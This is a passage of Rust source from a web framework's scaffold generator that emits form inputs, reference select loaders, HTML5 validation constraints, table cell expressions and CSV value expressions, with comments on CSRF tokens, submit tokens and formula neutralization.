submit_label: &str,\n \
csrf: Option<&CsrfToken>,\n \
csrf_field: Option<&CsrfFormField>,\n \
submit_token: Option<&SubmitToken>,\n \
submit_field: Option<&SubmitFormField>{extra_params},\n\
) -> Markup {{\n\
{preludes} \
let mut form = autumn_web::form::form_for(changeset, action, \"post\")\n \
.submit_label(submit_label){builder_calls}{appends};\n{sm_exclude_block}{parent_fk_block} \
// Emit the one-time submit token at the FRONT of the form (issue #1360):\n \
// `SubmitTokenLayer` only scans the first chunk of the URL-encoded body,\n \
// so a large earlier textarea could otherwise push an appended token past\n \
// the scan cap and leave duplicate submits unguarded.\n \
form = form.prepend(submit_token_input(submit_token, submit_field));\n{lock_version_block} \
if let Some(csrf) = csrf {{\n \
form = form.csrf(csrf.token());\n \
}}\n \
if let Some(field) = csrf_field {{\n \
form = form.csrf_field_name(field.0.as_str());\n \
}}\n \
form.render()\n\
}}\n\n"
)
}
/// Render one async `{column}_select_options` loader per `references` column
/// (issue #1135 AC 2: "references→select"). Each loader queries the
/// referenced table's ids and returns them as `(value, label)` pairs for the
/// `Select` override in the shared `{snake}_form_for` helper. Every handler
/// that renders the form (`new_form`, `edit_form`, and the `create`/`update`
/// 422 re-render branches) calls the loaders before rendering.
///
/// Labels are the raw id rendered as a string: which referenced-table column
/// makes a human-friendly label is a display decision the generator can't
/// know, so the generated doc comment tells the author where to swap in a
/// real label column.
fn render_reference_option_loaders(
reference_fields: &[&Field],
db_ty: &str,
reference_displays: &BTreeMap<String, ReferenceDisplay>,
) -> String {
use std::fmt::Write as _;
let mut out = String::new();
for f in reference_fields {
let name = &f.name;
let Some(table) = f.reference_table() else {
continue;
};
match reference_displays.get(name) {
// A display column was resolved (issue #1146): load `(id, label)`
// pairs so the `<select>` shows a human-friendly value, not the
// raw id. A nullable display column coalesces to the id string.
Some(display) => {
let column = &display.column;
// A blank label gives an option with no accessible name, and
// trips the `SelectOption::new` debug assert (#2666): use the
// id instead.
let (load_ty, label_expr) = if display.column_nullable {
(
"Option<String>",
"label.filter(|label| !autumn_web::a11y::is_blank(label)).unwrap_or_else(|| id.to_string())",
)
} else {
(
"String",
"if autumn_web::a11y::is_blank(&label) { id.to_string() } else { label }",
)
};
let _ = write!(
out,
"/// Load the `(value, label)` select options for the `{name}` reference —\n\
/// one option per `{table}` row (value = id, label = `{column}`, or the\n\
/// id when `{column}` is blank), ordered by id (issues #1135, #1146).\n\
async fn {name}_select_options(db: &mut {db_ty}) -> AutumnResult<Vec<(String, String)>> {{\n \
let rows: Vec<(i64, {load_ty})> = {table}::table\n \
.select(({table}::id, {table}::{column}))\n \
.order({table}::id.asc())\n \
.load(&mut **db)\n \
.await?;\n \
Ok(rows.into_iter().map(|(id, label)| (id.to_string(), {label_expr})).collect())\n\
}}\n\n"
);
}
// No string column to display (or the target model couldn't be
// parsed): fall back to the id as both value and label.
None => {
let _ = write!(
out,
"/// Load the `(value, label)` select options for the `{name}` reference —\n\
/// one option per `{table}` row, ordered by id (issue #1135).\n\
///\n\
/// `{table}` has no string column to label options with, so the id is\n\
/// used as both value and label — swap the `map` below to use a real\n\
/// label column once one exists.\n\
async fn {name}_select_options(db: &mut {db_ty}) -> AutumnResult<Vec<(String, String)>> {{\n \
let ids: Vec<i64> = {table}::table\n \
.select({table}::id)\n \
.order({table}::id.asc())\n \
.load(&mut **db)\n \
.await?;\n \
Ok(ids.into_iter().map(|id| (id.to_string(), id.to_string())).collect())\n\
}}\n\n"
);
}
}
}
out
}
/// How a `references` field's parent row should be *displayed* (issue #1146):
/// the referenced `table`, the `column` whose value labels the parent, and
/// whether that column is nullable (`Option<String>`).
///
/// Resolved from the referenced model at scaffold time via
/// [`resolve_reference_display`] — an explicit `{label:col}` override, else a
/// `name`/`title`/first-string-column heuristic. `None` (no entry) means the
/// target has no string column, so the raw id is rendered as a fallback.
#[derive(Debug, Clone)]
struct ReferenceDisplay {
column: String,
column_nullable: bool,
}
/// The `(name, nullable)` string (`String`/`Text`) columns of a `references`
/// field's target (issue #1146). For a **self-reference** (the target table is
/// the model being generated right now) there is no `src/models/<x>.rs` on disk
/// yet, so the columns come from the in-flight `own_fields`; every other target
/// is read from disk via [`super::model::model_string_columns`].
fn target_string_columns(
project_root: &Path,
field: &Field,
self_plural: &str,
own_fields: &[Field],
) -> Vec<(String, bool)> {
if field.reference_table().as_deref() == Some(self_plural) {
own_fields
.iter()
.filter(|f| matches!(f.kind, FieldKind::String | FieldKind::Text))
.map(|f| (f.name.clone(), f.nullable))
.collect()
} else {
let base = field.name.strip_suffix("_id").unwrap_or(&field.name);
super::model::model_string_columns(project_root, base)
}
}
/// Resolve the display column for a `references` field against its target
/// model (issue #1146): an explicit `{label:col}` override wins; otherwise a
/// `name`/`title` column is preferred, else the first `String`/`Text` column.
/// Returns `None` when the target model has no string column (render the id).
///
/// A **self-reference** (the target table is the model being generated right
/// now — e.g. `Category category:references`) has no `src/models/<x>.rs` on
/// disk yet, so its display column is resolved from the in-flight `own_fields`
/// (the columns being generated this invocation) rather than the filesystem.
/// References to OTHER models still resolve via the on-disk lookup.
fn resolve_reference_display(
project_root: &Path,
field: &Field,
self_plural: &str,
own_fields: &[Field],
) -> Option<ReferenceDisplay> {
let base = field.name.strip_suffix("_id").unwrap_or(&field.name);
let is_self_ref = field.reference_table().as_deref() == Some(self_plural);
let columns = target_string_columns(project_root, field, self_plural, own_fields);
// The `name`/`title`/first-string-column heuristic, reused both when no
// explicit label is given and when an explicit one has to be discarded.
let heuristic = || {
columns
.iter()
.find(|(c, _)| c == "name")
.or_else(|| columns.iter().find(|(c, _)| c == "title"))
.or_else(|| columns.first())
.map(|(c, n)| (c.clone(), *n))
};
let (column, column_nullable) = if let Some(label) = &field.constraints.label {
if let Some((c, n)) = columns.iter().find(|(c, _)| c == label) {
// Explicit override names a real string column on the target — use
// it, with its known nullability.
(c.clone(), *n)
} else if !is_self_ref
&& field
.reference_table()
.is_some_and(|table| !super::model::model_file_exists(project_root, &table, base))
{
// The target model genuinely isn't discoverable (not yet generated,
// unparseable, or a single-file `models.rs` layout we can't read),
// so the override can't be validated. Honor it as before (assume a
// non-null `String`), matching the "assume the table exists" posture
// the missing-target path takes. Not reachable on the normal select
// path (missing targets are excluded upstream), but keeps the
// resolver correct for any other caller. A self-reference IS
// discoverable (via `own_fields`), so it never takes this branch.
(label.clone(), false)
} else {
// The model IS discoverable but `{label}` names no string column —
// a typo, a non-string column, or a model with NO string columns at
// all (e.g. `Post { id, count: i32 }` + `{label:count}`). Emitting
// `select {table}::{label}` (loaded as `String`) would fail to
// compile the generated app, so fall back to the heuristic display
// column: generation still succeeds, and the plan carries a warning
// (emitted in `execute`) telling the author the label was ignored.
heuristic()?
}
} else {
heuristic()?
};
Some(ReferenceDisplay {
column,
column_nullable,
})
}
/// Render the form inputs for a scaffold's `--live-validation` new/edit/
/// re-render views through the shipped, changeset-aware `autumn_web::form`
/// helpers (issue #1124). Standard scaffolds render through a single
/// `form_for` call instead (issue #1135, see [`render_form_for_helper`]);
/// this per-field path survives only for `--live-validation`, whose htmx
/// inline-validation inputs (`text_input_htmx`) have no `FieldControl`
/// equivalent.
///
/// Every helper reads its value and any inline errors from the
/// `Changeset<{Pascal}Form>` bound to `changeset_var` in the calling handler,
/// so preserved input and per-field error messages (`aria-invalid` +
/// `role="alert"`) come for free — and the identical markup is emitted by
/// `new_form`, `edit_form`, and both 422 re-render branches. `FieldKind` maps to
/// the matching helper (`text_input`, `number_input`, `datetime_input`,
/// `checkbox_input`, `select_input`). DSL-constrained text/textarea fields, the
/// `belongs_to` parent `<select>`, and attachments route through the typed
/// accessible `a11y::TextField`/`TextArea`/`Select`/`FileField` primitives
/// (issues #1750/#1951), so the inline-validation controls keep the
/// compile-time label obligation; a file input still can't be repopulated
/// (browser security).
#[allow(clippy::too_many_lines)]
fn render_changeset_form_inputs(
fields: &[Field],
changeset_var: &str,
live_validation: bool,
validated: &[&str],
reference_selects: &[&Field],
) -> String {
use std::fmt::Write as _;
let cv = changeset_var;
// The reference fields that render an in-form `<select>` (issue #1750): the
// present, non-missing `references` columns whose runtime option loader the
// handler threads into scope. A missing-target reference has no loader, so
// it keeps the derived per-field control instead.
let reference_select_names: BTreeSet<&str> =
reference_selects.iter().map(|f| f.name.as_str()).collect();
let mut out = String::with_capacity(fields.len() * 150);
for f in fields {
let name = &f.name;
let label = humanize_label(name);
// A DSL-constrained field (issue #1388) carries HTML5 attributes the
// shipped `autumn_web::form` helpers can't express; render it as raw
// markup instead so the live path matches the standard path (#1750).
let constraint = html5_constraint_spec(f);
let line = if f.kind.is_rich_text() {
// Issue #1255: identical control to the standard `form_for` path —
// the Markdown editor with its htmx live preview. A rich-text
// column never takes the inline-*validation* htmx path: its wrapper
// already owns an `hx-post` (the preview), and a second one would
// fight it for the same element.
//
// `.as_ref()` because the handler owns an `Option<SubmitFormField>`
// here (the `form_for` helper takes an `Option<&…>` instead) — two
// rich-text columns in one form would otherwise use a moved value.
let helper = if f.nullable {
"rich_text_area_htmx_with_token_field"
} else {
"required_rich_text_area_htmx_with_token_field"
};
format!(
"(autumn_web::form::{helper}(&{cv}, \"{name}\", \
\"{label}\", &paths::preview_{name}(), \
submit_field.as_ref().map_or(\"_submit_token\", |f| f.0.as_str())))"
)
} else if f.kind.is_reference() && reference_select_names.contains(name.as_str()) {
// belongs_to parent dropdown (issue #1146), restored in the
// `--live-validation` per-field path (issue #1750).
render_live_reference_select(f, cv)
} else if let (true, Some((input_type, _attrs))) = (
matches!(
f.kind,
FieldKind::I32 | FieldKind::I64 | FieldKind::F32 | FieldKind::F64
),
&constraint,
) {
// A constrained numeric renders a number input carrying its
// `min`/`max` (and `step="any"` for floats). Numerics don't take the
// htmx inline-validation path, so no `validate_url`.
render_live_constrained_field(f, cv, input_type, None)
} else if f.kind.is_attachment() {
// #1236: a plain file input, no hidden key. The enclosing `<form>`
// carries `enctype="multipart/form-data"` so the browser uploads the
// file with no JavaScript, and an edit that does not re-upload
// preserves the current attachment server-side, since the handler
// binds `streamed.or(current)`. A file input cannot be repopulated —
// browser security. #1951 routes it through the typed accessible
// `a11y::FileField` primitive, so the input carries a
// programmatically-associated `<label for>`; the previous raw `label
// { … } input;` had an unassociated label. No htmx wiring —
// attachments never take the inline-validation path.
format!("(autumn_web::a11y::FileField::new(\"{name}\").label(\"{label}\"))")
} else {
// A required (non-nullable) field uses the framework's
// `required_*` sibling helper — `required` + `aria-required="true"`
// — matching the pre-#1124 generator's unconditional `required`
// attribute on every non-nullable input. Nullable fields get the
// plain helper: leaving them blank is valid, so no browser-native
// "please fill out this field" prompt should block submission.
match (f.kind, f.nullable) {
(FieldKind::Bool, false) => {
format!("(autumn_web::form::checkbox_input(&{cv}, \"{name}\", \"{label}\"))")
}
// A checkbox can't distinguish "leave false" from "set null", so
// a nullable bool renders a 3-option select keeping NULL reachable.
(FieldKind::Bool, true) => format!(
"(autumn_web::form::select_input(&{cv}, \"{name}\", \"{label}\", \
&[(\"\", \"— Unset —\"), (\"true\", \"Yes\"), (\"false\", \"No\")]))"
),
(FieldKind::I32 | FieldKind::I64, false) => format!(
"(autumn_web::form::required_number_input(&{cv}, \"{name}\", \"{label}\", Some(\"1\")))"
),
(FieldKind::I32 | FieldKind::I64, true) => format!(
"(autumn_web::form::number_input(&{cv}, \"{name}\", \"{label}\", Some(\"1\")))"
),
(FieldKind::F32 | FieldKind::F64, false) => format!(
"(autumn_web::form::required_number_input(&{cv}, \"{name}\", \"{label}\", Some(\"any\")))"
),
(FieldKind::F32 | FieldKind::F64, true) => format!(
"(autumn_web::form::number_input(&{cv}, \"{name}\", \"{label}\", Some(\"any\")))"
),
// `step` matches the column's declared scale, so the browser's
// stepper (and its "please match the requested format"
// validation) aligns with what the SQL column actually stores.
(FieldKind::Decimal { scale, .. }, false) => format!(
"(autumn_web::form::required_number_input(&{cv}, \"{name}\", \"{label}\", Some(\"{step}\")))",
step = decimal_step(scale)
),
(FieldKind::Decimal { scale, .. }, true) => format!(
"(autumn_web::form::number_input(&{cv}, \"{name}\", \"{label}\", Some(\"{step}\")))",
step = decimal_step(scale)
),
(FieldKind::NaiveDateTime | FieldKind::DateTime, false) => format!(
"(autumn_web::form::required_datetime_input(&{cv}, \"{name}\", \"{label}\"))"
),
(FieldKind::NaiveDateTime | FieldKind::DateTime, true) => {
format!("(autumn_web::form::datetime_input(&{cv}, \"{name}\", \"{label}\"))")
}
// Issue #1341: a real `<textarea>`, not the derived control's
// single-line text input fallback. There is no
// `required_textarea_input` helper (textarea has never had a
// required variant, unlike text/number/datetime/select), so
// both nullable and non-nullable route through the same call
// — the server-side JSON parse in `into_new` still 400s a
// blank required field.
(FieldKind::Json, _) => {
format!("(autumn_web::form::textarea_input(&{cv}, \"{name}\", \"{label}\"))")
}
(FieldKind::Enum, _) => {
let placeholder = if f.nullable {
"— Unset —"
} else {
"— Select —"
};
let mut options = format!("(\"\", \"{placeholder}\")");
for v in &f.variants {
let vlabel = humanize_label(v);
let _ = write!(options, ", (\"{v}\", \"{vlabel}\")");
}
let helper = if f.nullable {
"select_input"
} else {
"required_select_input"
};
format!(
"(autumn_web::form::{helper}(&{cv}, \"{name}\", \"{label}\", &[{options}]))"
)
}
_ => {
// String / Text / Uuid / references fall through to a text
// input. `--live-validation` on a validated text field wires
// the htmx inline-validation variant (no-JS falls back to the
// full-form 422 re-render, which works for every kind); a
// non-nullable field keeps the `required`/`aria-required`
// signal via `required_text_input_htmx` so a validator rule
// that happens to permit an empty string (e.g. a max-only
// `length` rule) doesn't leave a blank required field with
// no client-side guard at all.
let validated_htmx = live_validation && validated.contains(&name.as_str());
if let Some((input_type, _attrs)) = &constraint {
// #1750: a DSL-constrained `String`/`Text` field carries
// the #1388 client-side HTML5 attributes —
// `minlength`/`maxlength`, `type="email"`/`url`, and a
// `<textarea>` for long-form `Text` — that the shipped
// helpers cannot express. Route it through the typed a11y
// primitives mirroring the standard `form_for` path
// (#1951), threading the htmx inline-validation wiring on
// via `.hx()` when the field is validated, so real-time
// validation keeps working alongside the static
// constraints. A constrained field always has a validator
// rule, so this is the validated path; the `validate_url`
// is threaded only when `live_validation`.
let validate_url =
validated_htmx.then(|| format!("paths::validate_{name}()"));
render_live_constrained_field(f, cv, input_type, validate_url.as_deref())
} else if validated_htmx {
let helper = if f.nullable {
"text_input_htmx"
} else {
"required_text_input_htmx"
};
format!(
"(autumn_web::form::{helper}(&{cv}, \"{name}\", \"{label}\", \
&paths::validate_{name}()))"
)
} else if f.nullable {
format!("(autumn_web::form::text_input(&{cv}, \"{name}\", \"{label}\"))")
} else {
format!(
"(autumn_web::form::required_text_input(&{cv}, \"{name}\", \"{label}\"))"
)
}
}
}
};
let _ = writeln!(out, " {line}");
}
out
}
/// A decimal literal at the given `scale`, formed from a single trailing
/// significant `digit` (1-9) — e.g. `decimal_literal_at_scale(2, 1)` ==
/// `"0.01"`, `decimal_literal_at_scale(0, 2)` == `"2"`. The magnitude never
/// exceeds `9 * 10^-scale` (well under `1` for any `scale >= 1`, and under
/// `10` for `scale == 0`), so the result fits any valid
/// `decimal{precision,scale}` column (the DSL enforces `1 <= precision` and
/// `scale <= precision`) regardless of how tight `precision` is — used both
/// for the `<input step="...">` attribute ([`decimal_step`]) and the SQL
/// sample/duplicate literals the enum-rejection/unique-violation smoke-test
/// generators splice in below ([`sql_sample_literal`], [`unique_sample_literal`],
/// [`unique_sample_literal_variant`]), where a fixed literal like `"1.0"`
/// would overflow a tightly-scaled column such as `decimal{1,1}`.
fn decimal_literal_at_scale(scale: u32, digit: u32) -> String {
if scale == 0 {
digit.to_string()
} else {
format!("0.{}{digit}", "0".repeat(scale as usize - 1))
}
}
/// The HTML `step` attribute value for a `decimal{precision,scale}` field,
/// derived from its declared `scale` — `0` steps by whole numbers, `2`
/// produces `"0.01"`, matching the column's actual smallest representable
/// increment (unlike float fields, whose `step="any"` accepts any input).
fn decimal_step(scale: u32) -> String {
decimal_literal_at_scale(scale, 1)
}
/// The HTML5 `<input>` type and constraint-attribute string a field's DSL
/// constraint modifiers (issue #1388) render to, or `None` when the field has
/// no HTML5 fan-out (so the derived `FieldControl` already renders it right).
///
/// `String`/`Text`: `min`/`max` -> `minlength`/`maxlength`, `email` ->
/// `type="email"`, `url` -> `type="url"`. Numeric: `min`/`max` -> `min`/`max`
/// on a `type="number"` input, and float (`f32`/`f64`) fields also carry
/// `step="any"` so fractional input isn't rejected client-side. Returned
/// attribute string is space-prefixed and ready to splice straight into the
/// generated maud `input`.
/// A single HTML5 validation constraint derived from a field's DSL modifiers
/// (issue #1388). One structured source of truth so the same constraint data
/// can be rendered either as raw `<input>`/`<textarea>` attributes (the
/// still-raw textarea and live-validation paths) or as typed
/// `autumn_web::a11y::TextField` builder calls (the routed `form_for` input
/// path, #1706).
enum Html5Constraint {
MinLength(String),
MaxLength(String),
Min(String),
Max(String),
StepAny,
}
impl Html5Constraint {
/// The raw, space-prefixed attribute form (e.g. ` minlength="3"`).
fn attr(&self) -> String {
match self {
Self::MinLength(v) => format!(" minlength=\"{v}\""),
Self::MaxLength(v) => format!(" maxlength=\"{v}\""),
Self::Min(v) => format!(" min=\"{v}\""),
Self::Max(v) => format!(" max=\"{v}\""),
Self::StepAny => " step=\"any\"".to_owned(),
}
}
/// The typed `a11y::TextField` builder-call form (e.g. `.minlength(3u32)`).
fn builder_call(&self) -> String {
match self {
Self::MinLength(v) => format!(".minlength({v}u32)"),
Self::MaxLength(v) => format!(".maxlength({v}u32)"),
Self::Min(v) => format!(".min(\"{v}\")"),
Self::Max(v) => format!(".max(\"{v}\")"),
Self::StepAny => ".step(\"any\")".to_owned(),
}
}
}
/// The input `type` plus the structured HTML5 constraints a DSL-constrained
/// (issue #1388) `String`/`Text`/numeric field needs over its derived control.
/// Returns `None` when the field carries nothing the derived `FieldControl`
/// can't already express (a plain `text`/`number` with no constraints), so it
/// stays in the derived render rather than being needlessly excised.
fn html5_constraint_parts(field: &Field) -> Option<(&'static str, Vec<Html5Constraint>)> {
let c = &field.constraints;
let mut parts = Vec::new();
let input_type = match field.kind {
FieldKind::String | FieldKind::Text => {
if let Some(min) = &c.min {
parts.push(Html5Constraint::MinLength(min.clone()));
}
if let Some(max) = &c.max {
parts.push(Html5Constraint::MaxLength(max.clone()));
}
if c.email {
"email"
} else if c.url {
"url"
} else {
"text"
}
}
FieldKind::I32 | FieldKind::I64 => {
if let Some(min) = &c.min {
parts.push(Html5Constraint::Min(min.clone()));
}
if let Some(max) = &c.max {
parts.push(Html5Constraint::Max(max.clone()));
}
"number"
}
FieldKind::F32 | FieldKind::F64 => {
if let Some(min) = &c.min {
parts.push(Html5Constraint::Min(min.clone()));
}
if let Some(max) = &c.max {
parts.push(Html5Constraint::Max(max.clone()));
}
// A constrained float must keep `step="any"` — the same step the
// unconstrained float control (`FieldControl::Number { step: "any" }`)
// emits. Without it browsers default a `type="number"` input to
// `step="1"` and reject fractional input like `0.5` for
// `ratio:f64{min=0,max=1}` client-side, even though the server-side
// `range` validator and the `f64` type accept it (issue #1388's
// "client and server agree"). Only emitted when the field is
// actually constrained (min/max present, so `parts` is non-empty);
// otherwise the early-return below keeps the field in the derived
// render rather than needlessly excising it.
if !parts.is_empty() {
parts.push(Html5Constraint::StepAny);
}
"number"
}
_ => return None,
};
// Nothing to add over the derived control: a plain `text`/`number` with no
// constraint attributes is exactly what `form_for` already renders, so
// don't excise-and-reappend it (which would only reorder the field).
if parts.is_empty() && input_type != "email" && input_type != "url" {
return None;
}
Some((input_type, parts))
}
/// The input `type` plus the raw, space-prefixed HTML5 attribute string (e.g.
/// ` minlength="3" maxlength="120"`) for the still-raw textarea and
/// live-validation render paths. Formats [`html5_constraint_parts`].
fn html5_constraint_spec(field: &Field) -> Option<(&'static str, String)> {
let (input_type, parts) = html5_constraint_parts(field)?;
let attrs = parts.iter().map(Html5Constraint::attr).collect::<String>();
Some((input_type, attrs))
}
/// The input `type` plus the typed `autumn_web::a11y::TextField` builder-call
/// string (e.g. `.minlength(3u32).maxlength(120u32)`) for the routed `form_for`
/// input path (#1706). Formats [`html5_constraint_parts`].
fn html5_constraint_builder_calls(field: &Field) -> Option<(&'static str, String)> {
let (input_type, parts) = html5_constraint_parts(field)?;
let calls = parts
.iter()
.map(Html5Constraint::builder_call)
.collect::<String>();
Some((input_type, calls))
}
/// Render the maud markup for a DSL-constrained (issue #1388)
/// `String`/`Text`/numeric field in the `--live-validation` per-field path
/// (issue #1750).
///
/// The control is routed through the typed accessible `a11y::TextField` /
/// `a11y::TextArea` primitives (issue #1951): the raw wrapper `<div>` and the
/// inline-error `<div>` skeleton stay as maud lines (mirroring the shipped
/// `autumn_web::form::*` helpers and the standard `form_for` path's
/// `.exclude()` + `.append()` output), but the labelled control itself is a
/// primitive builder chain, so the inline-validation field keeps the
/// compile-time label obligation instead of dropping to raw markup. The
/// `input_type` override and the HTML5 constraints
/// (`minlength`/`maxlength`/`min`/`max`/`step`) become typed builder calls from
/// the same [`html5_constraint_builder_calls`] source the standard path uses.
///
/// When `validate_url` is `Some`, the htmx inline-validation wiring is threaded
/// on too — the `data-autumn-field-wrapper` swap marker stays a raw attribute
/// on the wrapper `<div>`, and the control carries the
/// `hx-post`/`hx-trigger`/`hx-target`/`hx-swap`/`hx-include` +
/// `hx-params="not _submit_token"` attributes via the primitive's `.hx()`
/// escape hatch. The `hx-params` filter keeps the inline-validation POST (which
/// `hx-include`s the whole form) from carrying the one-time `_submit_token`, so
/// validation never consumes the token the real create/update submit needs
/// (issue #1360). Shared by [`render_changeset_form_inputs`] and the
/// inline-validate handlers so the initially-rendered field and the
/// htmx-swapped fragment are byte-identical.
fn render_live_constrained_field(
field: &Field,
changeset_var: &str,
input_type: &str,
// A Rust expression (as source text) producing the inline-validation URL —
// the typed path helper `paths::validate_{field}()` (issue #1133). Spliced
// into `.hx("post", …)` so the URL has a single source of truth.
validate_url: Option<&str>,
) -> String {
let name = &field.name;
let label = humanize_label(name);
let cv = changeset_var;
// Typed HTML5-constraint builder calls (`.minlength(3u32)`, `.min("0")`,
// `.step("any")`, …) from the same `html5_constraint_parts` source the
// standard `form_for` input path uses, so the two paths can't drift.
let constraint_builders = html5_constraint_builder_calls(field)
.map(|(_, calls)| calls)
.unwrap_or_default();
let required_builders = if field.nullable {
""
} else {
".required().aria_required()"
};
// A constrained `Text` column is long-form (Postgres `TEXT`), so it renders
// a `<textarea>` (matching the derived `FieldControl::Textarea` and the
// standard path). A `text{email}`/`text{url}` field is inherently
// single-line (its `input_type` is `email`/`url`), so it takes the `<input>`
// branch — a textarea can't carry those types.
let is_textarea = matches!(field.kind, FieldKind::Text) && input_type == "text";
// htmx inline-validation wiring: the swap-target marker stays a raw
// attribute on the wrapper `<div>`, while the control carries the htmx
// attributes through the primitive's `.hx()` escape hatch (issue #1951).
let (wrapper_marker, hx_builders) = validate_url.map_or_else(
|| (String::new(), String::new()),
|url| {
(
format!(" data-autumn-field-wrapper=\"{name}\""),
format!(
"\n .hx(\"post\", {url})\n \
.hx(\"trigger\", \"change\")\n \
.hx(\"target\", \"closest [data-autumn-field-wrapper]\")\n \
.hx(\"swap\", \"outerHTML\")\n \
.hx(\"include\", \"closest form\")\n \
.hx(\"params\", \"not _submit_token\")"
),
)
},
);
let errors_tail = format!(
"\n @if !errors.is_empty() {{\n \
div id=\"{name}-error\" role=\"alert\" class=\"autumn-field__errors\" {{\n \
@for error in errors {{ p class=\"autumn-field__error\" {{ (error) }} }}\n \
}}\n \
}}\n \
}}"
);
if is_textarea {
format!(
"div id=\"{name}-field\" class=\"autumn-field\"{wrapper_marker} {{\n \
@let errors = {cv}.errors_for(\"{name}\");\n \
(autumn_web::a11y::TextArea::new(\"{name}\")\n \
.label(\"{label}\")\n \
.label_class(\"autumn-field__label\")\n \
.value({cv}.field_value(\"{name}\").unwrap_or_default())\n \
{constraint_builders}{required_builders}\n \
.class(if errors.is_empty() {{ \"autumn-field__input\" }} else {{ \"autumn-field__input autumn-field__input--invalid\" }})\n \
.aria_invalid(!errors.is_empty())\n \
.described_by(if errors.is_empty() {{ \"\" }} else {{ \"{name}-error\" }}){hx_builders}){errors_tail}"
)
} else {
format!(
"div id=\"{name}-field\" class=\"autumn-field\"{wrapper_marker} {{\n \
@let errors = {cv}.errors_for(\"{name}\");\n \
(autumn_web::a11y::TextField::new(\"{name}\")\n \
.label(\"{label}\")\n \
.label_class(\"autumn-field__label\")\n \
.input_type(\"{input_type}\")\n \
.value({cv}.field_value(\"{name}\").unwrap_or_default())\n \
{constraint_builders}{required_builders}\n \
.class(if errors.is_empty() {{ \"autumn-field__input\" }} else {{ \"autumn-field__input autumn-field__input--invalid\" }})\n \
.aria_invalid(!errors.is_empty())\n \
.described_by(if errors.is_empty() {{ \"\" }} else {{ \"{name}-error\" }}){hx_builders}){errors_tail}"
)
}
}
/// Render the maud markup for a `belongs_to` parent `<select>` in the
/// `--live-validation` per-field path (issue #1750). The standard path renders
/// this through a `form_for` `FieldControl::Select` override, but the per-field
/// path has no `form_for`, so it routes the control through the typed
/// accessible `a11y::Select` primitive (issue #1951) — the raw wrapper `<div>`
/// and inline-error `<div>` skeleton stay as maud lines, while the labelled
/// `<select>` is a primitive builder chain populated at request time from the
/// `{name}_options` loader (a `Vec<(String, String)>` of id/display pairs). A
/// blank placeholder plus `selected_value` driven by the changeset value keeps
/// the chosen parent through a 422 re-render. The `{name}_options` binding is
/// loaded into scope by the calling handler. (There is no htmx wiring here — the
/// `belongs_to` select carries no inline-validation attributes.)
fn render_live_reference_select(field: &Field, changeset_var: &str) -> String {
let name = &field.name;
let label = humanize_label(name);
let cv = changeset_var;
let placeholder = if field.nullable {
"— Unset —"
} else {
"— Select —"
};
let required_builders = if field.nullable {
""
} else {
".required().aria_required()"
};
format!(
"div id=\"{name}-field\" class=\"autumn-field\" {{\n \
@let errors = {cv}.errors_for(\"{name}\");\n \
(autumn_web::a11y::Select::new(\"{name}\")\n \
.label(\"{label}\")\n \
.label_class(\"autumn-field__label\")\n \
{required_builders}\n \
.class(if errors.is_empty() {{ \"autumn-field__input\" }} else {{ \"autumn-field__input autumn-field__input--invalid\" }})\n \
.aria_invalid(!errors.is_empty())\n \
.described_by(if errors.is_empty() {{ \"\" }} else {{ \"{name}-error\" }})\n \
.option(\"\", \"{placeholder}\")\n \
.options({name}_options.iter().map(|(opt_value, opt_label)| autumn_web::a11y::SelectOption::new(opt_value.as_str(), opt_label.as_str())))\n \
.selected_value({cv}.field_value(\"{name}\").unwrap_or_default()))\n \
@if !errors.is_empty() {{\n \
div id=\"{name}-error\" role=\"alert\" class=\"autumn-field__errors\" {{\n \
@for error in errors {{ p class=\"autumn-field__error\" {{ (error) }} }}\n \
}}\n \
}}\n \
}}"
)
}
/// Produce the cell-body expression for a `data_table` column closure.
///
/// Every arm must evaluate to a type that implements `maud::Render` (`&str`,
/// `String`, `Cow<str>`, integers). `bool`, `Option<T>`, chrono types, `Uuid`,
/// `Vec<u8>`, and `Blob` do NOT implement `Render` in maud 0.27, so we always
/// coerce via `to_string()` / `unwrap_or_default()`.
fn cell_value_expr(field: &Field) -> String {
let name = &field.name;
match (field.nullable, field.kind) {
// Attachment: always Option<Blob>; show presence only, no Blob internals.
(_, FieldKind::Attachment) => {
format!("if row.{name}.is_some() {{ \"attachment\" }} else {{ \"—\" }}")
}
(true, FieldKind::Bytea) => {
format!(
"row.{name}.as_ref().map(|v| String::from_utf8_lossy(v).to_string()).unwrap_or_default()"
)
}
// Nullable String/Text: use as_deref to avoid heap allocation.
// `RichText` joins them: an index cell renders the Markdown SOURCE as
// escaped text (maud's `Render` impl escapes it), never rendered
// markup — a table cell has no business carrying block-level HTML, and
// escaped source is inherently safe. The rendered form lives on the
// show page (see `render_show_property_rows`).
(true, FieldKind::String | FieldKind::Text | FieldKind::RichText) => {
format!("row.{name}.as_deref().unwrap_or_default()")
}
// Nullable: Option<T> — no Render impl; unwrap to String.
(true, _) => format!("row.{name}.as_ref().map(ToString::to_string).unwrap_or_default()"),
// Index and show view only. Non-nullable Bytea shows as lossy UTF-8;
// `Cow<str>` implements `Render`.
(false, FieldKind::Bytea) => format!("String::from_utf8_lossy(&row.{name})"),
// String/Text/RichText: &String implements Render via deref coercion.
(false, FieldKind::String | FieldKind::Text | FieldKind::RichText) => {
format!("&row.{name}")
}
// Numerics (i32, i64, f32, f64): implement Render directly.
(false, FieldKind::I32 | FieldKind::I64 | FieldKind::F32 | FieldKind::F64) => {
format!("row.{name}")
}
// Bool, Uuid, chrono types: no Render impl in maud 0.27; convert via Display.
(false, _) => format!("row.{name}.to_string()"),
}
}
/// The `String`-producing expression for one column's cell in the generated
/// `CsvSchema::to_csv_record` (issue #1315).
///
/// Sibling of [`cell_value_expr`], which produces a Maud-renderable value for a
/// table cell. A CSV record is a `Vec<String>`, so every arm here must land on
/// an owned `String` — and, per AC7, a NULL column must land on the EMPTY
/// string, never the literal `"None"` a `{:?}` of an `Option` would print.
///
/// RFC 4180 quoting is deliberately NOT applied here: `export_csv` writes RFC
/// 4180, so a value carrying a comma, a double quote or a newline is quoted and
/// escaped by the writer. Pre-quoting would double-escape it.
///
/// Spreadsheet FORMULA neutralization is a different problem and IS applied
/// here, because RFC 4180 says nothing about it: every column whose value can
/// carry attacker-supplied text is wrapped in the emitted `csv_text_cell`
/// helper. See [`csv_kind_is_text`] for which kinds those are.
fn csv_value_expr(field: &Field) -> String {
let name = &field.name;
let raw = match (field.nullable, field.kind) {
// Attachment is always `Option<Blob>`. `Blob` has no `Display`, and the
// index's "attachment"/"—" presence marker is useless in a spreadsheet —
// export the store KEY, the one value that finds the file again.
(_, FieldKind::Attachment) => {
